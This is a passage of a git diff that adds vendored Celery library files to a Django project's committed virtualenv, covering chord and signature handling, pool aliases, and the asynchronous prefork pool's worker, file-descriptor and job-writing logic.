isinstance(sig_obj, Signature) and isinstance(sig_obj, dict): + sig_obj = Signature.from_dict(sig_obj) + if isinstance(sig_obj, group): + # Each task in a group counts toward this chord + subtasks = getattr(sig_obj.tasks, "tasks", sig_obj.tasks) + return sum(cls._descend(task) for task in subtasks) + elif isinstance(sig_obj, _chain): + # The last non-empty element in a chain counts toward this chord + for child_sig in sig_obj.tasks[-1::-1]: + child_size = cls._descend(child_sig) + if child_size > 0: + return child_size + else: + # We have to just hope this chain is part of some encapsulating + # signature which is valid and can fire the chord body + return 0 + elif isinstance(sig_obj, chord): + # The child chord's body counts toward this chord + return cls._descend(sig_obj.body) + elif isinstance(sig_obj, Signature): + # Each simple signature counts as 1 completion for this chord + return 1 + # Any other types are assumed to be iterables of simple signatures + return len(sig_obj) + + def __length_hint__(self): + tasks = getattr(self.tasks, "tasks", self.tasks) + return sum(self._descend(task) for task in tasks) + + def run(self, header, body, partial_args, app=None, interval=None, + countdown=1, max_retries=None, eager=False, + task_id=None, **options): + app = app or self._get_app(body) + group_id = header.options.get('task_id') or uuid() + root_id = body.options.get('root_id') + options = dict(self.options, **options) if options else self.options + if options: + options.pop('task_id', None) + body.options.update(options) + + bodyres = body.freeze(task_id, root_id=root_id) + + # Chains should not be passed to the header tasks. See #3771 + options.pop('chain', None) + # Neither should chords, for deeply nested chords to work + options.pop('chord', None) + options.pop('task_id', None) + + header_result_args = header._freeze_group_tasks(group_id=group_id, chord=body, root_id=root_id) + + if header.tasks: + app.backend.apply_chord( + header_result_args, + body, + interval=interval, + countdown=countdown, + max_retries=max_retries, + ) + header_result = header(*partial_args, task_id=group_id, **options) + # The execution of a chord body is normally triggered by its header's + # tasks completing. If the header is empty this will never happen, so + # we execute the body manually here. + else: + body.delay([]) + header_result = self.app.GroupResult(*header_result_args) + + bodyres.parent = header_result + return bodyres + + def clone(self, *args, **kwargs): + signature = super().clone(*args, **kwargs) + # need to make copy of body + try: + signature.kwargs['body'] = maybe_signature( + signature.kwargs['body'], clone=True) + except (AttributeError, KeyError): + pass + return signature + + def link(self, callback): + self.body.link(callback) + return callback + + def link_error(self, errback): + self.body.link_error(errback) + return errback + + def set_immutable(self, immutable): + # changes mutability of header only, not callback. + for task in self.tasks: + task.set_immutable(immutable) + + def __repr__(self): + if self.body: + if isinstance(self.body, _chain): + return remove_repeating_from_task( + self.body.tasks[0]['task'], + '%({} | {!r})'.format( + self.body.tasks[0].reprcall(self.tasks), + chain(self.body.tasks[1:], app=self._app), + ), + ) + return '%' + remove_repeating_from_task( + self.body['task'], self.body.reprcall(self.tasks)) + return f'' + + @cached_property + def app(self): + return self._get_app(self.body) + + def _get_app(self, body=None): + app = self._app + if app is None: + try: + tasks = self.tasks.tasks # is a group + except AttributeError: + tasks = self.tasks + if tasks: + app = tasks[0]._app + if app is None and body is not None: + app = body._app + return app if app is not None else current_app + + tasks = getitem_property('kwargs.header', 'Tasks in chord header.') + body = getitem_property('kwargs.body', 'Body task of chord.') + + +# Add a back-compat alias for the previous `chord` class name which conflicts +# with keyword arguments elsewhere in this file +chord = _chord + + +def signature(varies, *args, **kwargs): + """Create new signature. + + - if the first argument is a signature already then it's cloned. + - if the first argument is a dict, then a Signature version is returned. + + Returns: + Signature: The resulting signature. + """ + app = kwargs.get('app') + if isinstance(varies, dict): + if isinstance(varies, abstract.CallableSignature): + return varies.clone() + return Signature.from_dict(varies, app=app) + return Signature(varies, *args, **kwargs) + + +subtask = signature # XXX compat + + +def maybe_signature(d, app=None, clone=False): + """Ensure obj is a signature, or None. + + Arguments: + d (Optional[Union[abstract.CallableSignature, Mapping]]): + Signature or dict-serialized signature. + app (celery.Celery): + App to bind signature to. + clone (bool): + If d' is already a signature, the signature + will be cloned when this flag is enabled. + + Returns: + Optional[abstract.CallableSignature] + """ + if d is not None: + if isinstance(d, abstract.CallableSignature): + if clone: + d = d.clone() + elif isinstance(d, dict): + d = signature(d) + + if app is not None: + d._app = app + return d + + +maybe_subtask = maybe_signature # XXX compat diff --git a/django_lottopy/lib/python3.10/site-packages/celery/concurrency/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/__init__.py new file mode 100644 index 00000000..a326c79a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/__init__.py @@ -0,0 +1,33 @@ +"""Pool implementation abstract factory, and alias definitions.""" + +# Import from kombu directly as it's used +# early in the import stage, where celery.utils loads +# too much (e.g., for eventlet patching) +from kombu.utils.imports import symbol_by_name + +__all__ = ('get_implementation', 'get_available_pool_names',) + +ALIASES = { + 'prefork': 'celery.concurrency.prefork:TaskPool', + 'eventlet': 'celery.concurrency.eventlet:TaskPool', + 'gevent': 'celery.concurrency.gevent:TaskPool', + 'solo': 'celery.concurrency.solo:TaskPool', + 'processes': 'celery.concurrency.prefork:TaskPool', # XXX compat alias +} + +try: + import concurrent.futures # noqa: F401 +except ImportError: + pass +else: + ALIASES['threads'] = 'celery.concurrency.thread:TaskPool' + + +def get_implementation(cls): + """Return pool implementation by name.""" + return symbol_by_name(cls, ALIASES) + + +def get_available_pool_names(): + """Return all available pool type names.""" + return tuple(ALIASES.keys()) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/concurrency/asynpool.py b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/asynpool.py new file mode 100644 index 00000000..b9f2875a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/asynpool.py @@ -0,0 +1,1352 @@ +"""Version of multiprocessing.Pool using Async I/O. + +.. note:: + + This module will be moved soon, so don't use it directly. + +This is a non-blocking version of :class:`multiprocessing.Pool`. + +This code deals with three major challenges: + +#. Starting up child processes and keeping them running. +#. Sending jobs to the processes and receiving results back. +#. Safely shutting down this system. +""" +import errno +import gc +import os +import select +import time +from collections import Counter, deque, namedtuple +from io import BytesIO +from numbers import Integral +from pickle import HIGHEST_PROTOCOL +from struct import pack, unpack, unpack_from +from time import sleep +from weakref import WeakValueDictionary, ref + +from billiard import pool as _pool +from billiard.compat import buf_t, isblocking, setblocking +from billiard.pool import ACK, NACK, RUN, TERMINATE, WorkersJoined +from billiard.queues import _SimpleQueue +from kombu.asynchronous import ERR, WRITE +from kombu.serialization import pickle as _pickle +from kombu.utils.eventio import SELECT_BAD_FD +from kombu.utils.functional import fxrange +from vine import promise + +from celery.utils.functional import noop +from celery.utils.log import get_logger +from celery.worker import state as worker_state + +# pylint: disable=redefined-outer-name +# We cache globals and attribute lookups, so disable this warning. + +try: + from _billiard import read as __read__ + readcanbuf = True + +except ImportError: # pragma: no cover + + def __read__(fd, buf, size, read=os.read): + chunk = read(fd, size) + n = len(chunk) + if n != 0: + buf.write(chunk) + return n + readcanbuf = False + + def unpack_from(fmt, iobuf, unpack=unpack): # noqa + return unpack(fmt, iobuf.getvalue()) # <-- BytesIO + +__all__ = ('AsynPool',) + +logger = get_logger(__name__) +error, debug = logger.error, logger.debug + +UNAVAIL = frozenset({errno.EAGAIN, errno.EINTR}) + +#: Constant sent by child process when started (ready to accept work) +WORKER_UP = 15 + +#: A process must've started before this timeout (in secs.) expires. +PROC_ALIVE_TIMEOUT = 4.0 + +SCHED_STRATEGY_FCFS = 1 +SCHED_STRATEGY_FAIR = 4 + +SCHED_STRATEGIES = { + None: SCHED_STRATEGY_FAIR, + 'default': SCHED_STRATEGY_FAIR, + 'fast': SCHED_STRATEGY_FCFS, + 'fcfs': SCHED_STRATEGY_FCFS, + 'fair': SCHED_STRATEGY_FAIR, +} +SCHED_STRATEGY_TO_NAME = {v: k for k, v in SCHED_STRATEGIES.items()} + +Ack = namedtuple('Ack', ('id', 'fd', 'payload')) + + +def gen_not_started(gen): + """Return true if generator is not started.""" + # gi_frame is None when generator stopped. + return gen.gi_frame and gen.gi_frame.f_lasti == -1 + + +def _get_job_writer(job): + try: + writer = job._writer + except AttributeError: + pass + else: + return writer() # is a weakref + + +if hasattr(select, 'poll'): + def _select_imp(readers=None, writers=None, err=None, timeout=0, + poll=select.poll, POLLIN=select.POLLIN, + POLLOUT=select.POLLOUT, POLLERR=select.POLLERR): + poller = poll() + register = poller.register + + if readers: + [register(fd, POLLIN) for fd in readers] + if writers: + [register(fd, POLLOUT) for fd in writers] + if err: + [register(fd, POLLERR) for fd in err] + + R, W = set(), set() + timeout = 0 if timeout and timeout < 0 else round(timeout * 1e3) + events = poller.poll(timeout) + for fd, event in events: + if not isinstance(fd, Integral): + fd = fd.fileno() + if event & POLLIN: + R.add(fd) + if event & POLLOUT: + W.add(fd) + if event & POLLERR: + R.add(fd) + return R, W, 0 +else: + def _select_imp(readers=None, writers=None, err=None, timeout=0): + r, w, e = select.select(readers, writers, err, timeout) + if e: + r = list(set(r) | set(e)) + return r, w, 0 + + +def _select(readers=None, writers=None, err=None, timeout=0, + poll=_select_imp): + """Simple wrapper to :class:`~select.select`, using :`~select.poll`. + + Arguments: + readers (Set[Fd]): Set of reader fds to test if readable. + writers (Set[Fd]): Set of writer fds to test if writable. + err (Set[Fd]): Set of fds to test for error condition. + + All fd sets passed must be mutable as this function + will remove non-working fds from them, this also means + the caller must make sure there are still fds in the sets + before calling us again. + + Returns: + Tuple[Set, Set, Set]: of ``(readable, writable, again)``, where + ``readable`` is a set of fds that have data available for read, + ``writable`` is a set of fds that's ready to be written to + and ``again`` is a flag that if set means the caller must + throw away the result and call us again. + """ + readers = set() if readers is None else readers + writers = set() if writers is None else writers + err = set() if err is None else err + try: + return poll(readers, writers, err, timeout) + except OSError as exc: + _errno = exc.errno + + if _errno == errno.EINTR: + return set(), set(), 1 + elif _errno in SELECT_BAD_FD: + for fd in readers | writers | err: + try: + select.select([fd], [], [], 0) + except OSError as exc: + _errno = exc.errno + + if _errno not in SELECT_BAD_FD: + raise + readers.discard(fd) + writers.discard(fd) + err.discard(fd) + return set(), set(), 1 + else: + raise + + +def iterate_file_descriptors_safely(fds_iter, source_data, + hub_method, *args, **kwargs): + """Apply hub method to fds in iter, remove from list if failure. + + Some file descriptors may become stale through OS reasons + or possibly other reasons, so safely manage our lists of FDs. + :param fds_iter: the file descriptors to iterate and apply hub_method + :param source_data: data source to remove FD if it renders OSError + :param hub_method: the method to call with with each fd and kwargs + :*args to pass through to the hub_method; + with a special syntax string '*fd*' represents a substitution + for the current fd object in the iteration (for some callers). + :**kwargs to pass through to the hub method (no substitutions needed) + """ + def _meta_fd_argument_maker(): + # uses the current iterations value for fd + call_args = args + if "*fd*" in call_args: + call_args = [fd if arg == "*fd*" else arg for arg in args] + return call_args + # Track stale FDs for cleanup possibility + stale_fds = [] + for fd in fds_iter: + # Handle using the correct arguments to the hub method + hub_args, hub_kwargs = _meta_fd_argument_maker(), kwargs + try: # Call the hub method + hub_method(fd, *hub_args, **hub_kwargs) + except (OSError, FileNotFoundError): + logger.warning( + "Encountered OSError when accessing fd %s ", + fd, exc_info=True) + stale_fds.append(fd) # take note of stale fd + # Remove now defunct fds from the managed list + if source_data: + for fd in stale_fds: + try: + if hasattr(source_data, 'remove'): + source_data.remove(fd) + else: # then not a list/set ... try dict + source_data.pop(fd, None) + except ValueError: + logger.warning("ValueError trying to invalidate %s from %s", + fd, source_data) + + +class Worker(_pool.Worker): + """Pool worker process.""" + + def on_loop_start(self, pid): + # our version sends a WORKER_UP message when the process is ready + # to accept work, this will tell the parent that the inqueue fd + # is writable. + self.outq.put((WORKER_UP, (pid,))) + + +class ResultHandler(_pool.ResultHandler): + """Handles messages from the pool processes.""" + + def __init__(self, *args, **kwargs): + self.fileno_to_outq = kwargs.pop('fileno_to_outq') + self.on_process_alive = kwargs.pop('on_process_alive') + super().__init__(*args, **kwargs) + # add our custom message handler + self.state_handlers[WORKER_UP] = self.on_process_alive + + def _recv_message(self, add_reader, fd, callback, + __read__=__read__, readcanbuf=readcanbuf, + BytesIO=BytesIO, unpack_from=unpack_from, + load=_pickle.load): + Hr = Br = 0 + if readcanbuf: + buf = bytearray(4) + bufv = memoryview(buf) + else: + buf = bufv = BytesIO() + # header + + while Hr < 4: + try: + n = __read__( + fd, bufv[Hr:] if readcanbuf else bufv, 4 - Hr, + ) + except OSError as exc: + if exc.errno not in UNAVAIL: + raise + yield + else: + if n == 0: + raise (OSError('End of file during message') if Hr + else EOFError()) + Hr += n + + body_size, = unpack_from('>i', bufv) + if readcanbuf: + buf = bytearray(body_size) + bufv = memoryview(buf) + else: + buf = bufv = BytesIO() + + while Br < body_size: + try: + n = __read__( + fd, bufv[Br:] if readcanbuf else bufv, body_size - Br, + ) + except OSError as exc: + if exc.errno not in UNAVAIL: + raise + yield + else: + if n == 0: + raise (OSError('End of file during message') if Br + else EOFError()) + Br += n + add_reader(fd, self.handle_event, fd) + if readcanbuf: + message = load(BytesIO(bufv)) + else: + bufv.seek(0) + message = load(bufv) + if message: + callback(message) + + def _make_process_result(self, hub): + """Coroutine reading messages from the pool processes.""" + fileno_to_outq = self.fileno_to_outq + on_state_change = self.on_state_change + add_reader = hub.add_reader + remove_reader = hub.remove_reader + recv_message = self._recv_message + + def on_result_readable(fileno): + try: + fileno_to_outq[fileno] + except KeyError: # process gone + return remove_reader(fileno) + it = recv_message(add_reader, fileno, on_state_change) + try: + next(it) + except StopIteration: + pass + except (OSError, EOFError): + remove_reader(fileno) + else: + add_reader(fileno, it) + return on_result_readable + + def register_with_event_loop(self, hub): + self.handle_event = self._make_process_result(hub) + + def handle_event(self, *args): + # pylint: disable=method-hidden + # register_with_event_loop overrides this + raise RuntimeError('Not registered with event loop') + + def on_stop_not_started(self): + # This is always used, since we do not start any threads. + cache = self.cache + check_timeouts = self.check_timeouts + fileno_to_outq = self.fileno_to_outq + on_state_change = self.on_state_change + join_exited_workers = self.join_exited_workers + + # flush the processes outqueues until they've all terminated. + outqueues = set(fileno_to_outq) + while cache and outqueues and self._state != TERMINATE: + if check_timeouts is not None: + # make sure tasks with a time limit will time out. + check_timeouts() + # cannot iterate and remove at the same time + pending_remove_fd = set() + for fd in outqueues: + iterate_file_descriptors_safely( + [fd], self.fileno_to_outq, self._flush_outqueue, + pending_remove_fd.add, fileno_to_outq, on_state_change + ) + try: + join_exited_workers(shutdown=True) + except WorkersJoined: + debug('result handler: all workers terminated') + return + outqueues.difference_update(pending_remove_fd) + + def _flush_outqueue(self, fd, remove, process_index, on_state_change): + try: + proc = process_index[fd] + except KeyError: + # process already found terminated + # this means its outqueue has already been processed + # by the worker lost handler. + return remove(fd) + + reader = proc.outq._reader + try: + setblocking(reader, 1) + except OSError: + return remove(fd) + try: + if reader.poll(0): + task = reader.recv() + else: + task = None + sleep(0.5) + except (OSError, EOFError): + return remove(fd) + else: + if task: + on_state_change(task) + finally: + try: + setblocking(reader, 0) + except OSError: + return remove(fd) + + +class AsynPool(_pool.Pool): + """AsyncIO Pool (no threads).""" + + ResultHandler = ResultHandler + Worker = Worker + + #: Set by :meth:`register_with_event_loop` after running the first time. + _registered_with_event_loop = False + + def WorkerProcess(self, worker): + worker = super().WorkerProcess(worker) + worker.dead = False + return worker + + def __init__(self, processes=None, synack=False, + sched_strategy=None, proc_alive_timeout=None, + *args, **kwargs): + self.sched_strategy = SCHED_STRATEGIES.get(sched_strategy, + sched_strategy) + processes = self.cpu_count() if processes is None else processes + self.synack = synack + # create queue-pairs for all our processes in advance. + self._queues = { + self.create_process_queues(): None for _ in range(processes) + } + + # inqueue fileno -> process mapping + self._fileno_to_inq = {} + # outqueue fileno -> process mapping + self._fileno_to_outq = {} + # synqueue fileno -> process mapping + self._fileno_to_synq = {} + + # We keep track of processes that haven't yet + # sent a WORKER_UP message. If a process fails to send + # this message within _proc_alive_timeout we terminate it + # and hope the next process will recover. + self._proc_alive_timeout = ( + PROC_ALIVE_TIMEOUT if proc_alive_timeout is None + else proc_alive_timeout + ) + self._waiting_to_start = set() + + # denormalized set of all inqueues. + self._all_inqueues = set() + + # Set of fds being written to (busy) + self._active_writes = set() + + # Set of active co-routines currently writing jobs. + self._active_writers = set() + + # Set of fds that are busy (executing task) + self._busy_workers = set() + self._mark_worker_as_available = self._busy_workers.discard + + # Holds jobs waiting to be written to child processes. + self.outbound_buffer = deque() + + self.write_stats = Counter() + + super().__init__(processes, *args, **kwargs) + + for proc in self._pool: + # create initial mappings, these will be updated + # as processes are recycled, or found lost elsewhere. + self._fileno_to_outq[proc.outqR_fd] = proc + self._fileno_to_synq[proc.synqW_fd] = proc + + self.on_soft_timeout = getattr( + self._timeout_handler, 'on_soft_timeout', noop, + ) + self.on_hard_timeout = getattr( + self._timeout_handler, 'on_hard_timeout', noop, + ) + + def _create_worker_process(self, i): + gc.collect() # Issue #2927 + return super()._create_worker_process(i) + + def _event_process_exit(self, hub, proc): + # This method is called whenever the process sentinel is readable. + self._untrack_child_process(proc, hub) + self.maintain_pool() + + def _track_child_process(self, proc, hub): + """Helper method determines appropriate fd for process.""" + try: + fd = proc._sentinel_poll + except AttributeError: + # we need to duplicate the fd here to carefully + # control when the fd is removed from the process table, + # as once the original fd is closed we cannot unregister + # the fd from epoll(7) anymore, causing a 100% CPU poll loop. + fd = proc._sentinel_poll = os.dup(proc._popen.sentinel) + # Safely call hub.add_reader for the determined fd + iterate_file_descriptors_safely( + [fd], None, hub.add_reader, + self._event_process_exit, hub, proc) + + def _untrack_child_process(self, proc, hub): + if proc._sentinel_poll is not None: + fd, proc._sentinel_poll = proc._sentinel_poll, None + hub.remove(fd) + os.close(fd) + + def register_with_event_loop(self, hub): + """Register the async pool with the current event loop.""" + self._result_handler.register_with_event_loop(hub) + self.handle_result_event = self._result_handler.handle_event + self._create_timelimit_handlers(hub) + self._create_process_handlers(hub) + self._create_write_handlers(hub) + + # Add handler for when a process exits (calls maintain_pool) + [self._track_child_process(w, hub) for w in self._pool] + # Handle_result_event is called whenever one of the + # result queues are readable. + iterate_file_descriptors_safely( + self._fileno_to_outq, self._fileno_to_outq, hub.add_reader, + self.handle_result_event, '*fd*') + + # Timers include calling maintain_pool at a regular interval + # to be certain processes are restarted. + for handler, interval in self.timers.items(): + hub.call_repeatedly(interval, handler) + + # Add on_poll_start to the event loop only once to prevent duplication + # when the Consumer restarts due to a connection error. + if not self._registered_with_event_loop: + hub.on_tick.add(self.on_poll_start) + self._registered_with_event_loop = True + + def _create_timelimit_handlers(self, hub): + """Create handlers used to implement time limits.""" + call_later = hub.call_later + trefs = self._tref_for_id = WeakValueDictionary() + + def on_timeout_set(R, soft, hard): + if soft: + trefs[R._job] = call_later( + soft, self._on_soft_timeout, R._job, soft, hard, hub, + ) + elif hard: + trefs[R._job] = call_later( + hard, self._on_hard_timeout, R._job, + ) + self.on_timeout_set = on_timeout_set + + def _discard_tref(job): + try: + tref = trefs.pop(job) + tref.cancel() + del tref + except (KeyError, AttributeError): + pass # out of scope + self._discard_tref = _discard_tref + + def on_timeout_cancel(R): + _discard_tref(R._job) + self.on_timeout_cancel = on_timeout_cancel + + def _on_soft_timeout(self, job, soft, hard, hub): + # only used by async pool. + if hard: + self._tref_for_id[job] = hub.call_later( + hard - soft, self._on_hard_timeout, job, + ) + try: + result = self._cache[job] + except KeyError: + pass # job ready + else: + self.on_soft_timeout(result) + finally: + if not hard: + # remove tref + self._discard_tref(job) + + def _on_hard_timeout(self, job): + # only used by async pool. + try: + result = self._cache[job] + except KeyError: + pass # job ready + else: + self.on_hard_timeout(result) + finally: + # remove tref + self._discard_tref(job) + + def on_job_ready(self, job, i, obj, inqW_fd): + self._mark_worker_as_available(inqW_fd) + + def _create_process_handlers(self, hub): + """Create handlers called on process up/down, etc.""" + add_reader, remove_reader, remove_writer = ( + hub.add_reader, hub.remove_reader, hub.remove_writer, + ) + cache = self._cache + all_inqueues = self._all_inqueues + fileno_to_inq = self._fileno_to_inq + fileno_to_outq = self._fileno_to_outq + fileno_to_synq = self._fileno_to_synq + busy_workers = self._busy_workers + handle_result_event = self.handle_result_event + process_flush_queues = self.process_flush_queues + waiting_to_start = self._waiting_to_start + + def verify_process_alive(proc): + proc = proc() # is a weakref + if (proc is not None and proc._is_alive() and + proc in waiting_to_start): + assert proc.outqR_fd in fileno_to_outq + assert fileno_to_outq[proc.outqR_fd] is proc + assert proc.outqR_fd in hub.readers + error('Timed out waiting for UP message from %r', proc) + os.kill(proc.pid, 9) + + def on_process_up(proc): + """Called when a process has started.""" + # If we got the same fd as a previous process then we'll also + # receive jobs in the old buffer, so we need to reset the + # job._write_to and job._scheduled_for attributes used to recover + # message boundaries when processes exit. + infd = proc.inqW_fd + for job in cache.values(): + if job._write_to and job._write_to.inqW_fd == infd: + job._write_to = proc + if job._scheduled_for and job._scheduled_for.inqW_fd == infd: + job._scheduled_for = proc + fileno_to_outq[proc.outqR_fd] = proc + + # maintain_pool is called whenever a process exits. + self._track_child_process(proc, hub) + + assert not isblocking(proc.outq._reader) + + # handle_result_event is called when the processes outqueue is + # readable. + add_reader(proc.outqR_fd, handle_result_event, proc.outqR_fd) + + waiting_to_start.add(proc) + hub.call_later( + self._proc_alive_timeout, verify_process_alive, ref(proc), + ) + + self.on_process_up = on_process_up + + def _remove_from_index(obj, proc, index, remove_fun, callback=None): + # this remove the file descriptors for a process from + # the indices. we have to make sure we don't overwrite + # another processes fds, as the fds may be reused. + try: + fd = obj.fileno() + except OSError: + return + + try: + if index[fd] is proc: + # fd hasn't been reused so we can remove it from index. + index.pop(fd, None) + except KeyError: + pass + else: + remove_fun(fd) + if callback is not None: + callback(fd) + return fd + + def on_process_down(proc): + """Called when a worker process exits.""" + if getattr(proc, 'dead', None): + return + process_flush_queues(proc) + _remove_from_index( + proc.outq._reader, proc, fileno_to_outq, remove_reader, + ) + if proc.synq: + _remove_from_index( + proc.synq._writer, proc, fileno_to_synq, remove_writer, + ) + inq = _remove_from_index( + proc.inq._writer, proc, fileno_to_inq, remove_writer, + callback=all_inqueues.discard, + ) + if inq: + busy_workers.discard(inq) + self._untrack_child_process(proc, hub) + waiting_to_start.discard(proc) + self._active_writes.discard(proc.inqW_fd) + remove_writer(proc.inq._writer) + remove_reader(proc.outq._reader) + if proc.synqR_fd: + remove_reader(proc.synq._reader) + if proc.synqW_fd: + self._active_writes.discard(proc.synqW_fd) + remove_reader(proc.synq._writer) + self.on_process_down = on_process_down + + def _create_write_handlers(self, hub, + pack=pack, dumps=_pickle.dumps, + protocol=HIGHEST_PROTOCOL): + """Create handlers used to write data to child processes.""" + fileno_to_inq = self._fileno_to_inq + fileno_to_synq = self._fileno_to_synq + outbound = self.outbound_buffer + pop_message = outbound.popleft + put_message = outbound.append + all_inqueues = self._all_inqueues + active_writes = self._active_writes + active_writers = self._active_writers + busy_workers = self._busy_workers + diff = all_inqueues.difference + add_writer = hub.add_writer + hub_add, hub_remove = hub.add, hub.remove + mark_write_fd_as_active = active_writes.add + mark_write_gen_as_active = active_writers.add + mark_worker_as_busy = busy_workers.add + write_generator_done = active_writers.discard + get_job = self._cache.__getitem__ + write_stats = self.write_stats + is_fair_strategy = self.sched_strategy == SCHED_STRATEGY_FAIR + revoked_tasks = worker_state.revoked + getpid = os.getpid + + precalc = {ACK: self._create_payload(ACK, (0,)), + NACK: self._create_payload(NACK, (0,))} + + def _put_back(job, _time=time.time): + # puts back at the end of the queue + if job._terminated is not None or \ + job.correlation_id in revoked_tasks: + if not job._accepted: + job._ack(None, _time(), getpid(), None) + job._set_terminated(job._terminated) + else: + # XXX linear lookup, should find a better way, + # but this happens rarely and is here to protect against races. + if job not in outbound: + outbound.appendleft(job) + self._put_back = _put_back + + # called for every event loop iteration, and if there + # are messages pending this will schedule writing one message + # by registering the 'schedule_writes' function for all currently + # inactive inqueues (not already being written to) + + # consolidate means the event loop will merge them + # and call the callback once with the list writable fds as + # argument. Using this means we minimize the risk of having + # the same fd receive every task if the pipe read buffer is not + # full. + + def on_poll_start(): + # Determine which io descriptors are not busy + inactive = diff(active_writes) + + # Determine hub_add vs hub_remove strategy conditional + if is_fair_strategy: + # outbound buffer present and idle workers exist + add_cond = outbound and len(busy_workers) < len(all_inqueues) + else: # default is add when data exists in outbound buffer + add_cond = outbound + + if add_cond: # calling hub_add vs hub_remove + iterate_file_descriptors_safely( + inactive, all_inqueues, hub_add, + None, WRITE | ERR, consolidate=True) + else: + iterate_file_descriptors_safely( + inactive, all_inqueues, hub_remove) + self.on_poll_start = on_poll_start + + def on_inqueue_close(fd, proc): + # Makes sure the fd is removed from tracking when + # the connection is closed, this is essential as fds may be reused. + busy_workers.discard(fd) + try: + if fileno_to_inq[fd] is proc: + fileno_to_inq.pop(fd, None) + active_writes.discard(fd) + all_inqueues.discard(fd) + except KeyError: + pass + self.on_inqueue_close = on_inqueue_close + self.hub_remove = hub_remove + + def schedule_writes(ready_fds, total_write_count=None): + if not total_write_count: + total_write_count = [0] + # Schedule write operation to ready file descriptor. + # The file descriptor is writable, but that does not + # mean the process is currently reading from the socket. + # The socket is buffered so writable simply means that + # the buffer can accept at least 1 byte of data. + + # This means we have to cycle between the ready fds. + # the first version used shuffle, but this version + # using `total_writes % ready_fds` is about 30% faster + # with many processes, and also leans more towards fairness + # in write stats when used with many processes + # [XXX On macOS, this may vary depending + # on event loop implementation (i.e, select/poll vs epoll), so + # have to test further] + num_ready = len(ready_fds) + + for _ in range(num_ready): + ready_fd = ready_fds[total_write_count[0] % num_ready] + total_write_count[0] += 1 + if ready_fd in active_writes: + # already writing to this fd + continue + if is_fair_strategy and ready_fd in busy_workers: + # worker is already busy with another task + continue + if ready_fd not in all_inqueues: + hub_remove(ready_fd) + continue + try: + job = pop_message() + except IndexError: + # no more messages, remove all inactive fds from the hub. + # this is important since the fds are always writable + # as long as there's 1 byte left in the buffer, and so + # this may create a spinloop where the event loop + # always wakes up. + for inqfd in diff(active_writes): + hub_remove(inqfd) + break + + else: + if not job._accepted: # job not accepted by another worker + try: + # keep track of what process the write operation + # was scheduled for. + proc = job._scheduled_for = fileno_to_inq[ready_fd] + except KeyError: + # write was scheduled for this fd but the process + # has since exited and the message must be sent to + # another process. + put_message(job) + continue + cor = _write_job(proc, ready_fd, job) + job._writer = ref(cor) + mark_write_gen_as_active(cor) + mark_write_fd_as_active(ready_fd) + mark_worker_as_busy(ready_fd) + + # Try to write immediately, in case there's an error. + try: + next(cor) + except StopIteration: + pass + except OSError as exc: + if exc.errno != errno.EBADF: + raise + else: + add_writer(ready_fd, cor) + hub.consolidate_callback = schedule_writes + + def send_job(tup): + # Schedule writing job request for when one of the process + # inqueues are writable. + body = dumps(tup, protocol=protocol) + body_size = len(body) + header = pack('>I', body_size) + # index 1,0 is the job ID. + job = get_job(tup[1][0]) + job._payload = buf_t(header), buf_t(body), body_size + put_message(job) + self._quick_put = send_job + + def on_not_recovering(proc, fd, job, exc): + logger.exception( + 'Process inqueue damaged: %r %r: %r', proc, proc.exitcode, exc) + if proc._is_alive(): + proc.terminate() + hub.remove(fd) + self._put_back(job) + + def _write_job(proc, fd, job): + # writes job to the worker process. + # Operation must complete if more than one byte of data + # was written. If the broker connection is lost + # and no data was written the operation shall be canceled. + header, body, body_size = job._payload + errors = 0 + try: + # job result keeps track of what process the job is sent to. + job._write_to = proc + send = proc.send_job_offset + + Hw = Bw = 0 + # write header + while Hw < 4: + try: + Hw += send(header, Hw) + except Exception as exc: # pylint: disable=broad-except + if getattr(exc, 'errno', None) not in UNAVAIL: + raise + # suspend until more data + errors += 1 + if errors > 100: + on_not_recovering(proc, fd, job, exc) + raise StopIteration() + yield + else: + errors = 0 + + # write body + while Bw < body_size: + try: + Bw += send(body, Bw) + except Exception as exc: # pylint: disable=broad-except + if getattr(exc, 'errno', None) not in UNAVAIL: + raise + # suspend until more data + errors += 1 + if errors > 100: + on_not_recovering(proc, fd, job, exc) + raise StopIteration() + yield + else: + errors = 0 + finally: + hub_remove(fd) + write_stats[proc.index] += 1 + # message written, so this fd is now available + active_writes.discard(fd) + write_generator_done(job._writer()) # is a weakref + + def send_ack(response, pid, job, fd): + # Only used when synack is enabled. + # Schedule writing ack response for when the fd is writable. + msg = Ack(job, fd, precalc[response]) + callback = promise(write_generator_done) + cor = _write_ack(fd, msg, callback=callback) + mark_write_gen_as_active(cor) + mark_write_fd_as_active(fd) + callback.args = (cor,) + add_writer(fd, cor) + self.send_ack = send_ack + + def _write_ack(fd, ack, callback=None): + # writes ack back to the worker if synack enabled. + # this operation *MUST* complete, otherwise + # the worker process will hang waiting for the ack. + header, body, body_size = ack[2] + try: + try: + proc = fileno_to_synq[fd] + except KeyError: + # process died, we can safely discard the ack at this + # point. + raise StopIteration() + send = proc.send_syn_offset + + Hw = Bw = 0 + # write header + while Hw < 4: + try: + Hw += send(header, Hw) + except Exception as exc: # pylint: disable=broad-except + if getattr(exc, 'errno', None) not in UNAVAIL: + raise + yield + + # write body + while Bw < body_size: + try: + Bw += send(body, Bw) + except Exception as exc: # pylint: disable=broad-except + if getattr(exc, 'errno', None) not in UNAVAIL: + raise + # suspend until more data + yield + finally: + if callback: + callback() + # message written, so this fd is now available + active_writes.discard(fd) + + def flush(self): + if self._state == TERMINATE: + return + # cancel all tasks that haven't been accepted so that NACK is sent + # if synack is enabled. + for job in tuple(self._cache.values()): + if not job._accepted: + if self.synack: + job._cancel() + else: + job.discard() + + # clear the outgoing buffer as the tasks will be redelivered by + # the broker anyway. + if self.outbound_buffer: + self.outbound_buffer.clear() + + self.maintain_pool() + + try: + # ...but we must continue writing the payloads we already started + # to keep message boundaries. + # The messages may be NACK'ed later if synack is enabled. + if self._state == RUN: + # flush outgoing buffers + intervals = fxrange(0.01, 0.1, 0.01, repeatlast=True) + owned_by = {} + for job in self._cache.values(): + writer = _get_job_writer(job) + if writer is not None: + owned_by[writer] = job + + while self._active_writers: + writers = list(self._active_writers) + for gen in writers: + if (gen.__name__ == '_write_job' and + gen_not_started(gen)): + # hasn't started writing the job so can + # discard the task, but we must also remove + # it from the Pool._cache. + 